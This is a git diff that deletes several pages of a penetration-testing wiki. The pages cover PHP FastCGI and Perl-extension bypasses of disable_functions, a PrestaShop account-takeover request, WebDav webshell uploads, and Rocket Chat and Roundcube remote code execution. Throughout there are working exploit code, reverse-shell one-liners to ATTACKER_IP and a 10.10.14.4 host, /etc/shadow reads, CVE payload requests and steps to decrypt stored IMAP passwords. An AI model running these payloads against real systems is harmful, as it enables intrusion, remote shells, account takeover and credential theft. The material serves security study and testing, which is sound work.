-        $this->_host = $host;
-        $this->_port = $port;
-    }
-    /**
-     * Define whether or not the FastCGI application should keep the connection
-     * alive at the end of a request
-     *
-     * @param Boolean $b true if the connection should stay alive, false otherwise
-     */
-    public function setKeepAlive($b)
-    {
-        $this->_keepAlive = (boolean)$b;
-        if (!$this->_keepAlive && $this->_sock) {
-            fclose($this->_sock);
-        }
-    }
-    /**
-     * Get the keep alive status
-     *
-     * @return Boolean true if the connection should stay alive, false otherwise
-     */
-    public function getKeepAlive()
-    {
-        return $this->_keepAlive;
-    }
-    /**
-     * Create a connection to the FastCGI application
-     */
-    private function connect()
-    {
-        if (!$this->_sock) {
-            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
-            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
-            if (!$this->_sock) {
-                throw new Exception('Unable to connect to FastCGI application');
-            }
-        }
-    }
-    /**
-     * Build a FastCGI packet
-     *
-     * @param Integer $type Type of the packet
-     * @param String $content Content of the packet
-     * @param Integer $requestId RequestId
-     */
-    private function buildPacket($type, $content, $requestId = 1)
-    {
-        $clen = strlen($content);
-        return chr(self::VERSION_1)         /* version */
-            . chr($type)                    /* type */
-            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
-            . chr($requestId & 0xFF)        /* requestIdB0 */
-            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
-            . chr($clen & 0xFF)             /* contentLengthB0 */
-            . chr(0)                        /* paddingLength */
-            . chr(0)                        /* reserved */
-            . $content;                     /* content */
-    }
-    /**
-     * Build an FastCGI Name value pair
-     *
-     * @param String $name Name
-     * @param String $value Value
-     * @return String FastCGI Name value pair
-     */
-    private function buildNvpair($name, $value)
-    {
-        $nlen = strlen($name);
-        $vlen = strlen($value);
-        if ($nlen < 128) {
-            /* nameLengthB0 */
-            $nvpair = chr($nlen);
-        } else {
-            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
-            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
-        }
-        if ($vlen < 128) {
-            /* valueLengthB0 */
-            $nvpair .= chr($vlen);
-        } else {
-            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
-            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
-        }
-        /* nameData & valueData */
-        return $nvpair . $name . $value;
-    }
-    /**
-     * Read a set of FastCGI Name value pairs
-     *
-     * @param String $data Data containing the set of FastCGI NVPair
-     * @return array of NVPair
-     */
-    private function readNvpair($data, $length = null)
-    {
-        $array = array();
-        if ($length === null) {
-            $length = strlen($data);
-        }
-        $p = 0;
-        while ($p != $length) {
-            $nlen = ord($data{$p++});
-            if ($nlen >= 128) {
-                $nlen = ($nlen & 0x7F << 24);
-                $nlen |= (ord($data{$p++}) << 16);
-                $nlen |= (ord($data{$p++}) << 8);
-                $nlen |= (ord($data{$p++}));
-            }
-            $vlen = ord($data{$p++});
-            if ($vlen >= 128) {
-                $vlen = ($nlen & 0x7F << 24);
-                $vlen |= (ord($data{$p++}) << 16);
-                $vlen |= (ord($data{$p++}) << 8);
-                $vlen |= (ord($data{$p++}));
-            }
-            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
-            $p += ($nlen + $vlen);
-        }
-        return $array;
-    }
-    /**
-     * Decode a FastCGI Packet
-     *
-     * @param String $data String containing all the packet
-     * @return array
-     */
-    private function decodePacketHeader($data)
-    {
-        $ret = array();
-        $ret['version']       = ord($data{0});
-        $ret['type']          = ord($data{1});
-        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
-        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
-        $ret['paddingLength'] = ord($data{6});
-        $ret['reserved']      = ord($data{7});
-        return $ret;
-    }
-    /**
-     * Read a FastCGI Packet
-     *
-     * @return array
-     */
-    private function readPacket()
-    {
-        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
-            $resp = $this->decodePacketHeader($packet);
-            $resp['content'] = '';
-            if ($resp['contentLength']) {
-                $len  = $resp['contentLength'];
-                while ($len && $buf=fread($this->_sock, $len)) {
-                    $len -= strlen($buf);
-                    $resp['content'] .= $buf;
-                }
-            }
-            if ($resp['paddingLength']) {
-                $buf=fread($this->_sock, $resp['paddingLength']);
-            }
-            return $resp;
-        } else {
-            return false;
-        }
-    }
-    /**
-     * Get Informations on the FastCGI application
-     *
-     * @param array $requestedInfo information to retrieve
-     * @return array
-     */
-    public function getValues(array $requestedInfo)
-    {
-        $this->connect();
-        $request = '';
-        foreach ($requestedInfo as $info) {
-            $request .= $this->buildNvpair($info, '');
-        }
-        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
-        $resp = $this->readPacket();
-        if ($resp['type'] == self::GET_VALUES_RESULT) {
-            return $this->readNvpair($resp['content'], $resp['length']);
-        } else {
-            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
-        }
-    }
-    /**
-     * Execute a request to the FastCGI application
-     *
-     * @param array $params Array of parameters
-     * @param String $stdin Content
-     * @return String
-     */
-    public function request(array $params, $stdin)
-    {
-        $response = '';
-        $this->connect();
-        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
-        $paramsRequest = '';
-        foreach ($params as $key => $value) {
-            $paramsRequest .= $this->buildNvpair($key, $value);
-        }
-        if ($paramsRequest) {
-            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
-        }
-        $request .= $this->buildPacket(self::PARAMS, '');
-        if ($stdin) {
-            $request .= $this->buildPacket(self::STDIN, $stdin);
-        }
-        $request .= $this->buildPacket(self::STDIN, '');
-        fwrite($this->_sock, $request);
-        do {
-            $resp = $this->readPacket();
-            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
-                $response .= $resp['content'];
-            }
-        } while ($resp && $resp['type'] != self::END_REQUEST);
-        var_dump($resp);
-        if (!is_array($resp)) {
-            throw new Exception('Bad request');
-        }
-        switch (ord($resp['content']{4})) {
-            case self::CANT_MPX_CONN:
-                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
-                break;
-            case self::OVERLOADED:
-                throw new Exception('New request rejected; too busy [OVERLOADED]');
-                break;
-            case self::UNKNOWN_ROLE:
-                throw new Exception('Role value not known [UNKNOWN_ROLE]');
-                break;
-            case self::REQUEST_COMPLETE:
-                return $response;
-        }
-    }
-}
-?>
-<?php
-// real exploit start here
-if (!isset($_REQUEST['cmd'])) {
-    die("Check your input\n");
-}
-if (!isset($_REQUEST['filepath'])) {
-    $filepath = __FILE__;
-}else{
-    $filepath = $_REQUEST['filepath'];
-}
-$req = '/'.basename($filepath);
-$uri = $req .'?'.'command='.$_REQUEST['cmd'];
-$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
-$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
-$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
-//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
-$params = array(
-        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
-        'REQUEST_METHOD'    => 'POST',
-        'SCRIPT_FILENAME'   => $filepath,
-        'SCRIPT_NAME'       => $req,
-        'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
-        'REQUEST_URI'       => $uri,
-        'DOCUMENT_URI'      => $req,
-#'DOCUMENT_ROOT'     => '/',
-        'PHP_VALUE'         => $php_value,
-        'SERVER_SOFTWARE'   => '80sec/wofeiwo',
-        'REMOTE_ADDR'       => '127.0.0.1',
-        'REMOTE_PORT'       => '9985',
-        'SERVER_ADDR'       => '127.0.0.1',
-        'SERVER_PORT'       => '80',
-        'SERVER_NAME'       => 'localhost',
-        'SERVER_PROTOCOL'   => 'HTTP/1.1',
-        'CONTENT_LENGTH'    => strlen($code)
-        );
-// print_r($_REQUEST);
-// print_r($params);
-//echo "Call: $uri\n\n";
-echo $client->request($params, $code)."\n";
-?>
-```
-
-Using the previous function you will see that the function **`system`** is **still disabled** but **`phpinfo()`** shows a **`disable_functions`** **empty**:
-
-![Via Gopherus - PHP exploit: Using the previous function you will see that the function system is still disabled but phpinfo() shows a disable functions empty](<../../../../images/image (188).png>)
-
-![Via Gopherus - PHP exploit: Using the previous function you will see that the function system is still disabled but phpinfo() shows a disable functions empty](<../../../../images/image (713).png>)
-
-This matches the PHP documentation much better than the original guess:
-
-- `disable_functions` is an **`INI_SYSTEM`** directive, so it must come from the main PHP configuration context.
-- PHP-FPM documents that `php_value` / `php_flag` will **not** overwrite previously defined `disable_functions` / `disable_classes` values.
-- `phpinfo()` can be misleading here. There is even an old PHP-FPM bug report showing mismatches between what `phpinfo()` displays and what is actually enforced for `disable_functions`.
-
-So, for this technique, think of `PHP_VALUE` as the primitive to relax `open_basedir` and to inject `auto_prepend_file`, but **not** as a reliable way to unset `disable_functions`.
-
-### [**FuckFastGCI**](https://github.com/w181496/FuckFastcgi)
-
-This is a php script to exploit fastcgi protocol to bypass `open_basedir` and `disable_functions`.\
-It will help you to bypass strict `disable_functions` to RCE by loading the malicious extension.\
-You can access it here: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) or a sligtly modified and improved version here: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi)
-
-You will find that the exploit is very similar to the previous code, but instead of trying to bypass `disable_functions` using `PHP_VALUE`, it tries to **load an external PHP module** using `extension_dir` and `extension` inside `PHP_ADMIN_VALUE`. That is the important distinction: if you can directly talk to PHP-FPM, forcing it to load an attacker-controlled extension is usually the path that turns FastCGI access into real code execution even when `system`, `exec`, `shell_exec`, and friends remain disabled.\
-**NOTE1**: You probably will need to **recompile** the extension with the **same PHP version/build that the server** is using (you can check it inside the output of phpinfo):
-
-![PHP exploit - FuckFastGCI: NOTE1 : You probably will need to recompile the extension with the same PHP version/build that the server is using (you can check it inside the output of phpinfo)](<../../../../images/image (180).png>)
-
-> [!CAUTION]
-> **NOTE2**: In real targets you need more than socket access:
-> - a writable location to place the malicious `.so`
-> - an extension compiled for the target PHP ABI
-> - a request path where the pool actually executes your chosen `SCRIPT_FILENAME`
->
-> The BorelEnzo fork also notes a practical PHP 8 detail: old sample extensions using `TSRMLS_CC` need to be adjusted for PHP 8+.
-
-The improved fork also contains a **pure-PHP variant** that abuses `sendmail_path` instead of loading a custom extension. This removes the need to upload a `.so`, but it still depends on a useful primitive such as `mail()` being callable and a local MTA path being available.
-
-### PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)
-
-You can exploit this vulnerability with [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) and test is using this docker environment: [https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043).\
-You can also find an analysis of the vulnerability [**here**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**.**
-
-
-
-## References
-
-- [PHP manual: FPM configuration (`php_value` / `php_admin_value` and the `disable_functions` note)](https://www.php.net/manual/en/install.fpm.configuration.php)
-- [Borel Enzo: FuckFastCGI made simpler](https://borelenzo.github.io/stuff/2023/02/05/php-ffcgi.html)
-
-
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md
deleted file mode 100644
index 79837a7bd6a..00000000000
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md
+++ /dev/null
@@ -1,144 +0,0 @@
-# PHP Perl Extension Safe_mode Bypass Exploit
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## Background
-
-The issue tracked as **CVE-2007-4596** comes from the legacy `perl` PHP extension, which embeds a full Perl interpreter without honoring PHP's `safe_mode`, `disable_functions`, or `open_basedir` controls. Any PHP worker that loads `extension=perl.so` gains unrestricted Perl `eval`, so command execution remains trivial even when all classic PHP process-spawning primitives are blocked. Although `safe_mode` disappeared in PHP 5.4, many outdated shared-hosting stacks and vulnerable labs still ship it, so this bypass is still valuable when you land on legacy control panels.
-
-## Compatibility & Packaging Status (2025)
-
-* The last PECL release (`perl-1.0.1`, 2013) targets PHP ≥5.0; PHP 8+ generally fails because the Zend APIs changed.
-* PECL is being superseded by PIE, but older stacks still ship PECL/pear. Use the flow below on PHP 5/7 targets; on newer PHP expect to downgrade or switch to another injection path (e.g., userland FFI).
-
-## Building a Testable Environment in 2025
-
-* Fetch `perl-1.0.1` from PECL, compile it for the PHP branch you plan to attack, and load it globally (`php.ini`) or via `dl()` (if permitted).
-* Quick Debian-based lab recipe:
-  ```bash
-  sudo apt install php5.6 php5.6-dev php-pear build-essential
-  sudo pecl install perl-1.0.1
-  echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
-  sudo phpenmod perl && sudo systemctl restart apache2
-  ```
-* During exploitation confirm availability with `var_dump(extension_loaded('perl'));` or `print_r(get_loaded_extensions());`. If absent, search for `perl.so` or abuse writable `php.ini`/`.user.ini` entries to force-load it.
-* Because the interpreter lives inside the PHP worker, no external binaries are needed—network egress filters or `proc_open` blacklists do not matter.
-
-### On-host build chain when phpize is reachable
-
-If `phpize` and build-essential are present on the compromised host, you can compile and drop `perl.so` without shelling out to the OS:
-
-```bash
-# grab the tarball from PECL
-wget https://pecl.php.net/get/perl-1.0.1.tgz
-tar xvf perl-1.0.1.tgz && cd perl-1.0.1
-phpize
-./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
-make -j$(nproc)
-cp modules/perl.so /tmp/perl.so
-# then load with a .user.ini in the webroot if main php.ini is read-only
-echo "extension=/tmp/perl.so" > /var/www/html/.user.ini
-```
-If `open_basedir` is enforced, ensure the dropped `.user.ini` and `.so` live in an allowed path; the `extension=` directive is still honored inside the basedir. The compilation flow mirrors the PHP manual for building PECL extensions.
-
-## Original PoC (NetJackal)
-
-From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/), still handy to confirm the extension responds to `eval`:
-
-```php
-<?php
-if(!extension_loaded('perl'))die('perl extension is not loaded');
-if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
-if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
-$perl=new perl();
-echo "<textarea rows='25' cols='75'>";
-$perl->eval("system('".$_GET['cmd']."')");
-echo "&lt;/textarea&gt;";
-$_GET['cmd']=htmlspecialchars($_GET['cmd']);
-echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
-?>
-```
-
-## Modern Payload Enhancements
-
-### 1. Full TTY over TCP
-
-The embedded interpreter can load `IO::Socket` even if `/usr/bin/perl` is blocked:
-
-```php
-$perl = new perl();
-$payload = <<<'PL'
-use IO::Socket::INET;
-my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
-open STDIN,  '<&', $c;
-open STDOUT, '>&', $c;
-open STDERR, '>&', $c;
-exec('/bin/sh -i');
-PL;
-$perl->eval($payload);
-```
-
-### 2. File-System Escape Even with `open_basedir`
-
-Perl ignores PHP’s `open_basedir`, so you can read arbitrary files:
-
-```php
-$perl = new perl();
-$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');
-```
-
-Pipe the output through `IO::Socket::INET` or `Net::HTTP` to exfiltrate data without touching PHP-managed descriptors.
-
-### 3. Inline Compilation for Privilege Escalation
-
-If `Inline::C` exists system-wide, compile helpers inside the request without relying on PHP’s `ffi` or `pcntl`:
-
-```php
-$perl = new perl();
-$perl->eval(<<<'PL'
-use Inline C => 'DATA';
-print escalate();
-__DATA__
-__C__
-char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
-PL
-);
-```
-
-### 4. Living-off-the-Land Enumeration
-
-Treat Perl as a LOLBAS toolkit—e.g., dump MySQL DSNs even if `mysqli` is missing:
-
-```php
-$perl = new perl();
-$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');
-```
-
-## 2024+ Abuse: Loading `perl.so` via PHP-CGI Argument Injection (CVE-2024-4577)
-
-On Windows installs that still expose **PHP-CGI**, the 2024 argument-injection regression (CVE-2024-4577) lets you pass arbitrary `-d` options to the interpreter. That means you can load the Perl extension even when `dl()` is disabled and `php.ini` is read-only:
-
-* Build or upload a compatible `perl.dll`/`perl.so` to a web-writable path (e.g., `C:\xampp\htdocs\temp\perl.dll`).
-* Send a single HTTP request that injects `-d extension=C:\\xampp\\htdocs\\temp\\perl.dll` and, in the same request body, a Perl-backed payload:
-
-```http
-POST /?%ADd+extension=C:\\xampp\\htdocs\\temp\\perl.dll+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
-Host: victim
-Content-Type: application/x-www-form-urlencoded
-Content-Length: 120
-
-<?php $p=new perl(); $p->eval("system('whoami && hostname')"); ?>
-```
-
-Because the PHP worker now embeds Perl before reading the body, all classic `disable_functions`/`open_basedir` controls are bypassed. This works on vulnerable Windows/CGI stacks until patched (PHP 8.1.29/8.2.20/8.3.8 and later close the regression). If `open_basedir` blocks the DLL path, drop the file inside the allowed base dir first or leverage an existing world-readable DLL path shipped by XAMPP.
-
-## References
-
-- [CVE-2007-4596 summary and timeline](https://www.cvedetails.com/cve/CVE-2007-4596/)
-- [PECL perl extension package information](https://pecl.php.net/package/perl)
-- [PHP Manual: building PECL extensions with phpize](https://www.php.net/manual/en/install.pecl.phpize.php)
-- [PECL homepage announcing PIE replacement](https://pecl.php.net/)
-- [CVE-2024-4577 PHP-CGI argument injection PoC](https://github.com/AlperenY-cs/CVE-2024-4577)
-- [Plesk advisory summarizing CVE-2024-4577 impact and patched versions](https://support.plesk.com/hc/en-us/articles/24020385443351-Security-Alert-CVE-2024-4577-PHP-CGI-Argument-Injection-Vulnerability)
-
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/prestashop.md b/src/network-services-pentesting/pentesting-web/prestashop.md
deleted file mode 100644
index 5437d5cb356..00000000000
--- a/src/network-services-pentesting/pentesting-web/prestashop.md
+++ /dev/null
@@ -1,39 +0,0 @@
-# PrestaShop
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## From XSS to RCE
-
-- [**PrestaXSRF**](https://github.com/nowak0x01/PrestaXSRF): PrestaShop Exploitation Script that elevate **XSS to RCE or Others Critical Vulnerabilities.** For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for PrestaShop Versions 8.X.X and 1.7.X.X, and allows to:**
-  - _**(RCE) PSUploadModule(); - Upload a custom Module:**_ Upload a Persistent Module (backdoor) to PrestaShop.
-
-## ps_checkout ExpressCheckout silent login account takeover (CVE-2025-61922)
-
-> Missing identity validation in the `ps_checkout` module `< 5.0.5` lets an unauthenticated attacker **switch the session to any customer by supplying their email**.
-
-- **Endpoint (unauth):** `POST /module/ps_checkout/ExpressCheckout`.
-- **Flow:** `ExpressCheckout.php` accepts attacker JSON, only checks `orderID`, builds `ExpressCheckoutRequest` and calls `ExpressCheckoutAction::execute()`.
-- **Auth bug:** In vulnerable versions `ExpressCheckoutAction` calls `CustomerAuthenticationAction::execute()` when no user is logged in. That method simply does `customerExists(<payer_email>)` and `context->updateCustomer(new Customer($id))`, so **email existence == login** (no password/token check).
-- **Attacker-controlled email field:** `order.payer.email_address` inside the JSON payload is read by `ExpressCheckoutRequest::getPayerEmail()`.
-
-### Exploitation steps
-
-1. Collect any registered customer email (admin is separate and not affected by this flow).
-2. Send an unauthenticated POST to the controller with `orderID` plus the victim email in `order.payer.email_address`.
-3. Even if the endpoint returns `500`, the response will include cookies for the victim’s customer context (session already switched), enabling PII access or purchasing with saved cards.
-
-```http
-POST /module/ps_checkout/ExpressCheckout HTTP/1.1
-Host: `<target>`
-Content-Type: application/json
-Content-Length: 72
-
-{"orderID":"1","order":{"payer":{"email_address":"victim@example.com"}}}
-```
-
-## References
-
-- [CVE-2025-61922: Zero-Click Account Takeover on Prestashop (blog)](https://dhakal-ananda.com.np/blogs/cve-2025-61922-analysis/)
-- [GitHub Advisory GHSA-54hq-mf6h-48xh](https://github.com/PrestaShopCorp/ps_checkout/security/advisories/GHSA-54hq-mf6h-48xh)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md
deleted file mode 100644
index 37fc2b3edb6..00000000000
--- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md
+++ /dev/null
@@ -1,102 +0,0 @@
-# WebDav
-
-{{#include ../../banners/hacktricks-training.md}}
-
-When dealing with a **HTTP Server with WebDav** enabled, it's possible to **manipulate files** if you have the right **credentials**, usually verified through **HTTP Basic Authentication**. Gaining control over such a server often involves the **upload and execution of a webshell**.
-
-Access to the WebDav server typically requires **valid credentials**, with [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) being a common method to acquire them.
-
-To overcome restrictions on file uploads, especially those preventing the execution of server-side scripts, you might:
-
-- **Upload** files with **executable extensions** directly if not restricted.
-- **Rename** uploaded non-executable files (like .txt) to an executable extension.
-- **Copy** uploaded non-executable files, changing their extension to one that is executable.
-
-## DavTest
-
-**Davtest** try to **upload several files with different extensions** and **check** if the extension is **executed**:
-
-```bash
-davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
-davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
-```
-
-Output sample:
-
-![WebDav - DavTest: davtest (-auth user:password) -sendbd auto -url http:// Try to upload every extension](<../../images/image (851).png>)
-
-This doesn't mean that **.txt** and **.html extensions are being executed**. This mean that you can **access this files** through the web.
-
-## Cadaver
-
-You can use this tool to **connect to the WebDav** server and perform actions (like **upload**, **move** or **delete**) **manually**.
-
-```
-cadaver <IP>
-```
-
-## PUT request
-
-```
-curl -T 'shell.txt' 'http://$ip'
-```
-
-## MOVE request
-
-```bash
-curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
-```
-
-## IIS5/6 WebDav Vulnerability
-
-This vulnerability is very interesting. The **WebDav** does **not allow** to **upload** or **rename** files with the extension **.asp**. But you can **bypass** this **adding** at the end of the name **";.txt"** and the file will be **executed** as if it were a .asp file (you could also **use ".html" instead of ".txt"** but **DON'T forget the ";"**).
-
-Then you can **upload** your shell as a ".**txt" file** and **copy/move it to a ".asp;.txt"** file. An accessing that file through the web server, it will be **executed** (cadaver will said that the move action didn't work, but it did).
-
-![MOVE request - IIS5/6 WebDav Vulnerability: Then you can upload your shell as a ". txt" file and copy/move it to a ".asp;.txt" file. An accessing that file through the web server, it...](<../../images/image (1092).png>)
-
-## Post credentials
-
-If the Webdav was using an Apache server you should look at configured sites in Apache. Commonly:\
-_**/etc/apache2/sites-enabled/000-default**_
-
-Inside it you could find something like:
-
-```
-ServerAdmin webmaster@localhost
-        Alias /webdav /var/www/webdav
-        <Directory /var/www/webdav>
-                DAV On
-                AuthType Digest
-                AuthName "webdav"
-                AuthUserFile /etc/apache2/users.password
-                Require valid-user
-```
-
-As you can see there is the files with the valid **credentials** for the **webdav** server:
-
-```
-/etc/apache2/users.password
-```
-
-Inside this type of files you will find the **username** and a **hash** of the password. These are the credentials the webdav server is using to authenticate users.
-
-You can try to **crack** them, or to **add more** if for some reason you wan to **access** the **webdav** server:
-
-```bash
-htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
-```
-
-To check if the new credentials are working you can do:
-
-```bash
-wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
-```
-
-## References
-
-- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/network-services-pentesting/pentesting-web/python.md b/src/network-services-pentesting/pentesting-web/python.md
deleted file mode 100644
index bb1996d6577..00000000000
--- a/src/network-services-pentesting/pentesting-web/python.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# Python
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Server using python
-
-test a possible **code execution**, using the function _str()_:
-
-```python
-"+str(True)+" #If the string True is printed, then it is vulnerable
-```
-
-### Tricks
-
-
-{{#ref}}
-../../generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
-{{#endref}}
-
-
-{{#ref}}
-../../pentesting-web/ssti-server-side-template-injection/README.md
-{{#endref}}
-
-
-{{#ref}}
-../../pentesting-web/deserialization/README.md
-{{#endref}}
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/network-services-pentesting/pentesting-web/rocket-chat.md b/src/network-services-pentesting/pentesting-web/rocket-chat.md
deleted file mode 100644
index fccd6b33b81..00000000000
--- a/src/network-services-pentesting/pentesting-web/rocket-chat.md
+++ /dev/null
@@ -1,42 +0,0 @@
-# Rocket Chat
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-## RCE
-
-If you are admin inside Rocket Chat you can get RCE.
-
-- Got to **`Integrations`** and select **`New Integration`** and choose any: **`Incoming WebHook`** or **`Outgoing WebHook`**.
-  - `/admin/integrations/incoming`
-
-<figure><img src="../../images/image (266).png" alt=""><figcaption></figcaption></figure>
-
-- According to the [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), both use ES2015 / ECMAScript 6 ([basically JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) to process the data. So lets get a [rev shell for javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) like:
-
-```javascript
-const require = console.log.constructor("return process.mainModule.require")()
-const { exec } = require("child_process")
-exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
-```
-
-- Configure the WebHook (the channel and post as username must exists):
-
-<figure><img src="../../images/image (905).png" alt=""><figcaption></figcaption></figure>
-
-- Configure WebHook script:
-
-<figure><img src="../../images/image (572).png" alt=""><figcaption></figcaption></figure>
-
-- Save changes
-- Get the generated WebHook URL:
-
-<figure><img src="../../images/image (937).png" alt=""><figcaption></figcaption></figure>
-
-- Call it with curl and you shuold receive the rev shell
-
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-web/roundcube.md b/src/network-services-pentesting/pentesting-web/roundcube.md
deleted file mode 100644
index ddac78dc485..00000000000
--- a/src/network-services-pentesting/pentesting-web/roundcube.md
+++ /dev/null
@@ -1,116 +0,0 @@
-# Roundcube
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Overview
-
-Roundcube is a PHP webmail client commonly exposed on HTTP(S) vhosts (e.g., mail.example.tld). Useful fingerprints:
-- HTML source often leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
-- Default app path in containers/VMs: /var/www/html/roundcube
-- Main config: config/config.inc.php
-
-## Authenticated RCE via PHP object deserialization (CVE-2025-49113)
-
-Affected versions (per vendor/NVD):
-- 1.6.x before 1.6.11
-- 1.5.x before 1.5.10
-
-Bug summary
-- The _from parameter in program/actions/settings/upload.php is not validated, enabling injection of attacker‑controlled data that Roundcube later unserializes, leading to gadget chain execution and remote code execution in the web context (post‑auth).
-
-Quick exploitation
-- Requirements: valid Roundcube credentials and a reachable UI URL (e.g., http://mail.target.tld)
-- Public PoC automates session handling, gadget crafting and upload flow
-
-```bash
-git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
-php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
-
-# examples
-php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
-# blind timing proof
-time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
-
-# reverse shell
-nc -nvlp 443
-php CVE-2025-49113.php http://mail.target.tld user 'pass' \
-  "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
-```
-
-Notes
-- Output is often blind; use sleep N to validate RCE
-- Resulting shell typically runs as www-data; on containerised deployments expect /.dockerenv and 172.17.0.0/16 networking
-
-## Post‑exploitation: recover IMAP passwords from Roundcube sessions
-
-Roundcube stores the current user’s IMAP password in the session (database) encrypted with the server‑side 3DES key configured in config.inc.php. With filesystem or DB access on the Roundcube host you can recover plaintext passwords and pivot into other mailboxes/services (SSH reuse is common).
-
-1) Read DB DSN and 3DES key from config
-
-config/config.inc.php typically contains:
-
-```php
-$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
-$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
-```
-
-2) Connect to DB and dump sessions
-
-```bash
-mysql -u roundcube -p roundcube
-# or: mysql -u roundcube -pDB_PASS roundcube
-
-mysql> SELECT id, created, changed, vars FROM session\G
-```
-
-The session.vars field is a Base64 blob produced by Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ). The first 8 bytes after Base64‑decoding are the IV.
-
